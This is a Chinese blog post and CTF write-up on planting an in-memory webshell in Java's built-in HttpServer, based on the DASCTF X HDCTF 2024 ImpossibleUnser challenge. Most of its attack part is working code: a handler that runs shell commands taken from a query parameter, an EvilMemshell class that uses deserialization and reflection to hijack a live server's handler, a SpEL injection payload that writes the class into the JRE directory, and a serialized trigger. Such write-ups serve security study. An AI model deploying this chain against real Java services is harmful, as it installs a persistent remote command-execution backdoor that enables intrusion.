首页云计算HttpServer内存马

HttpServer内存马

时间2024-07-29 07:41:01发布ongwu分类云计算浏览51

HttpServer内存马

基础知识

一些基础的方法和类

HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的IP地址端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。

createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。

setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。

代码例子

首先我们需要知道怎么使用httpserver构建一个HttpServer服务

其实不难,重点只有两部分,一个是server,一个是hander

其实举个例子就能够理解了

import com.sun.net.httpserver.HttpServer; import java.io.IOException; import java.net.InetSocketAddress; import java.util.concurrent.Executors; public class HttpServerStarter { public static void main(String[] args) throws IOException { //创建一个HttpServer实例,并绑定到指定的IP地址端口 HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0); //创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器 httpServer.createContext("/myserver", new MyHttpHandler()); //设置服务器的线程池对象 httpServer.setExecutor(Executors.newFixedThreadPool(10)); //启动服务器 httpServer.start(); } }
1234567891011121314151617181920

然后就是我们的handler

import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpExchange; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Arrays; import java.util.List; public class IndexHandler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { OutputStream os = exchange.getResponseBody(); List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes"); StringBuilder response = new StringBuilder(); for (String file : files) { response.append(file).append("\n"); } byte[] responseData = response.toString().getBytes(); int chunkSize = 1024; // 设置每个数据块的大小 exchange.sendResponseHeaders(200, responseData.length); int offset = 0; while (offset < responseData.length) { int bytesToWrite = Math.min(chunkSize, responseData.length - offset); os.write(responseData, offset, bytesToWrite); offset += bytesToWrite; } os.close(); } private List<String> listFilesInDirectory(String directoryPath) { File directory = new File(directoryPath); File[] files = directory.listFiles(); if (files != null) { return Arrays.asList(directory.list()); } else { return null; } } }
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748

利用

其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server

获取server

我们是根据线程去获取的

当然不止这一种 Thread.currentThread().getThreadGroup().threads 1

这是获取所有的线程 然后通过[0]去获取你需要的线程,然后就是

Thread.currentThread().getThreadGroup().threads.target.this$0 1

去获取到我们的context对象

然后你还可以去获取我们的handler

就是在server的contexts中,然后还是选list的其中一个,然后获取

这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法

构造恶意的handler

当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler

恶意的handler主要是重写它的handle方法

public void handle(HttpExchange httpExchange) throws IOException { String cmd = httpExchange.getRequestURI().getQuery().split("=")[1]; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8)); String line; StringBuilder stringBuilder = new StringBuilder(); while ((line = reader.readLine()) != null) { stringBuilder.append(line + "\n"); } String response = stringBuilder.toString(); httpExchange.sendResponseHeaders(200, response.length()); OutputStream os = httpExchange.getResponseBody(); os.write(response.getBytes()); os.close(); }
123456789101112131415161718192021

CTF题目

DASCTF X HDCTF 2024 ImpossibleUnser

官方wp

源码 package com.ctf; import java.net.InetSocketAddress; import com.sun.net.httpserver.HttpServer; public class IndexController { public static void main(String[] args) throws Exception { HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0); server.createContext("/ctf", new SPELHandler()); server.createContext("/index", new IndexHandler()); server.createContext("/unser", new UnserHandler()); server.setExecutor(null); server.start(); } } 12345678910111213 package com.ctf; import com.sun.net.httpserver.Headers; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpExchange; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Arrays; import java.util.List; public class IndexHandler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { OutputStream os = exchange.getResponseBody(); List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre"); StringBuilder response = new StringBuilder(); for (String file : files) { response.append(file).append("\n"); } byte[] responseData = response.toString().getBytes(); int chunkSize = 1024; // 设置每个数据块的大小 exchange.sendResponseHeaders(200, responseData.length); int offset = 0; while (offset < responseData.length) { int bytesToWrite = Math.min(chunkSize, responseData.length - offset); os.write(responseData, offset, bytesToWrite); offset += bytesToWrite; } os.close(); } private List<String> listFilesInDirectory(String directoryPath) { File directory = new File(directoryPath); File[] files = directory.listFiles(); if (files != null) { return Arrays.asList(directory.list()); } else { return null; } } }
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748

然后unser路由就是一个反序列化入口

然后还有一个spel表达式注入

方法三 使用内存马方式

这里就直接放payload了

这里wp的思路是修改ctf路由的handler,当然我们也可以添加 import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class EvilMemshell implements Serializable, HttpHandler { private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException { try{ ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsFeld = threadGroup.getClass().getDeclaredField("threads"); threadsFeld.setAccessible(true); Thread[] threads = (Thread[])threadsFeld.get(threadGroup); Thread thread = threads[1]; Field targetField = thread.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object object = targetField.get(thread); Field this$0Field = object.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); object = this$0Field.get(object); Field contextsField = object.getClass().getDeclaredField("contexts"); contextsField.setAccessible(true); object = contextsField.get(object); Field listField = object.getClass().getDeclaredField("list"); listField.setAccessible(true); java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object); object = linkedList.get(0); Field handlerField = object.getClass().getDeclaredField("handler"); handlerField.setAccessible(true); handlerField.set(object,this); }catch(Exception exception){ } } public static String base64serial(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void main(String[] args) throws Exception { System.out.println(base64serial(new EvilMemshell())); } @Override public void handle(HttpExchange httpExchange) throws IOException { String query = httpExchange.getRequestURI().getQuery(); String[] split = query.split("="); String response = "SUCCESS"+"\n"; if (split[0].equals("shell")) { String cmd = split[1]; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); byte[] bytes = new byte[1024]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int flag=-1; while((flag=inputStream.read(bytes))!=-1){ byteArrayOutputStream.write(bytes,0,flag); } response += byteArrayOutputStream.toString(); byteArrayOutputStream.close(); } httpExchange.sendResponseHeaders(200,response.length()); OutputStream outputStream = httpExchange.getResponseBody(); outputStream.write(response.getBytes()); outputStream.close(); } }
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677

重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler

当然我们需要配合spel先把这个恶意的文件写进去

payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码")) 1

然后反序列化它

unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw 1

之后就可以在ctf路由进行命令执行了

Ongwu博客 版权声明:以上内容未经允许不得转载!授权事宜或对内容有异议或投诉,请联系站长,将尽快回复您,谢谢合作!

展开全文READ MORE
Spring Web MVC入门(2)(请求1) Perl中的切分艺术:深入探索split函数的神秘力量

游客 回复需填写必要信息